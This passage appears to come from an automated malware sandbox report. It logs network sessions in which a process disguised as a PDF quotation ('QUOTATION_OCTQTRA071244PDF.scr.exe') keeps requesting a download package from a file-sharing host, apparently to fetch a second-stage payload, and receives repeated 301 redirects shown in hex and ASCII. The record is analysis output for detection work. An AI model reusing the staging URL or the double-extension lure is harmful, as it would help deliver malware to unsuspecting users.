69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:24:02.532043934 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49952	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:02.540661097 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:03.198250055 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eq9cMNVfvBGQ%2Bg0DWHuO0CgphNoNSZ5pFosET6IsCggvOiLHz6hKxXqlHqiFsewdnSiSYxA6VUD6oAeawjB9mh8%2FrhK2uJL7Ez215Ggfzl3s0OpBupyqoJebIvXnDp%2B1T4w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dde7ca67c7b-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49982	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:06.570513964 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:07.234267950 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GPXl3yZm3rNEQcX91x%2FwBqwiVoB7RBPpEWQrhR2MyhjJXg8p0Cztg1y9cLsJ2vx0dzd45Ltt24Hw59pfkxTAhfOsrZmuroFBNkknBq9BG6Cm4cOMGFH7dGNfSghsOh1PA0o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41df7a833c354-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49986	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:07.245389938 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:08.860562086 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcemmZ7DGSmb4qBmfk0o5KrvWUTYpKRisBAlFBCwj3MPTLqLCPNgAFRyGq6RtjIhe%2FhYQl2R%2F2QIP54TKdnY7nwdq0Hp5bjCFBPbdg7OpIEreAZ0sLmpI%2BAOYk57gi5dqIY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dfbdeae42ec-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:24:08.861397028 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcemmZ7DGSmb4qBmfk0o5KrvWUTYpKRisBAlFBCwj3MPTLqLCPNgAFRyGq6RtjIhe%2FhYQl2R%2F2QIP54TKdnY7nwdq0Hp5bjCFBPbdg7OpIEreAZ0sLmpI%2BAOYk57gi5dqIY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dfbdeae42ec-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:24:08.861680031 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcemmZ7DGSmb4qBmfk0o5KrvWUTYpKRisBAlFBCwj3MPTLqLCPNgAFRyGq6RtjIhe%2FhYQl2R%2F2QIP54TKdnY7nwdq0Hp5bjCFBPbdg7OpIEreAZ0sLmpI%2BAOYk57gi5dqIY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dfbdeae42ec-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:24:08.862179995 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcemmZ7DGSmb4qBmfk0o5KrvWUTYpKRisBAlFBCwj3MPTLqLCPNgAFRyGq6RtjIhe%2FhYQl2R%2F2QIP54TKdnY7nwdq0Hp5bjCFBPbdg7OpIEreAZ0sLmpI%2BAOYk57gi5dqIY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dfbdeae42ec-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50015	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:12.458164930 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:13.125531912 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AwD6Ia9keqEwAiX%2BAHDI9PTOv0ZucGM7H4mHYoccJDrY5NJG8p8l3nzXwRXqn9jEeHEtQF7I2T7i5HOoRPjtTO5Sq3uv0TqYPpzOjMXr80Tf%2FasxKP15s76cNJhGGNJuxJg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e1c7a270cba-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50017	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:13.134855032 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:13.775927067 CEST	830	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=68tJoBxgojHmmZvlxzAC2jfS9AdEjQ1hzKy%2BT%2FyDCCrA8mr1ABtxZHHEgf19nzTFZdPX5r0%2FHen%2FIXDSt84ng3J0XthuZKu7J54gGjRAqaRFgL9SV3nE4%2BcTqw0haWtstK4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e208935c328-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:24:13.904334068 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50046	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:17.287926912 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:17.837336063 CEST	662	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7NVf5sPDn0s76zPS1rlNmNb66iSaxPmKxqw7QggedjzqCNs%2Fbw0p32yq0%2Fo5m5skrXqDJC3c3AGMPripz%2B94zHNRTvoVaPiRcEfIKod%2B2vzMxE1tO95NNNsNEJV4vELbV%2Bg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e3a8aaa42aa-EWR
Oct 4, 2024 11:24:17.968173027 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50052	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:17.975645065 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:18.619183064 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dk4sBJ1fOfnjaxWfmP0Dd%2FzmiRduEQTqoZ8QAqTVNIA%2BcWeJ7PvgCqu2FWdHrPSn6GQZbCAE7RVjC2iQAK8S6U9xG92%2BMdn3%2BVKV%2BdTS6DWEuWa6z%2BUq4zeJ8irqXRj3XE8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e3edeae0fa3-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50080	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:22.059415102 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:22.699112892 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FO%2FpuyX%2BD3NkIkicPcr%2BDCZTZzwFzfZl9oEQLRo4Ugobo82zcxPUUXo8mRQ%2FEc%2BPp%2FKb1F8sd7TzMRVxjRwztdcCnoIFHy8PIsYg03H6AGRGHiILZmyjMGsRvY0xTvvWSdc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e585c2b422e-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50087	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:22.846364021 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:23.488421917 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KZJf19LjT2V7J42EgVmLHAwAP2ZjVjwXnDka%2Bq7Nl27WC%2FriMpuvQDp1Dh8j76DprEX1V1Bxso1DrXq9zThV1G8WEul54JZezZ%2FoKqz5X9%2Fz5tOTjSAhkRIp%2BIL9ltRTHTY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e5d4aec4370-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50093	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:23.495714903 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:24.044485092 CEST	830	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FH%2FkMg1MRREQZRZSt9vxy1sZu85RbbE%2FtPliP6OTr8TGM48j2qDzCXuTihkfgOsIQK%2BG1Dw3u80JQttg0mPCcs%2BJIyKaYaKDbtX3GqCwfLMdt5u8NYFHc8xQuugQTLqI9PU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e61592e4238-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:24:24.171504974 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50120	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:27.297823906 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
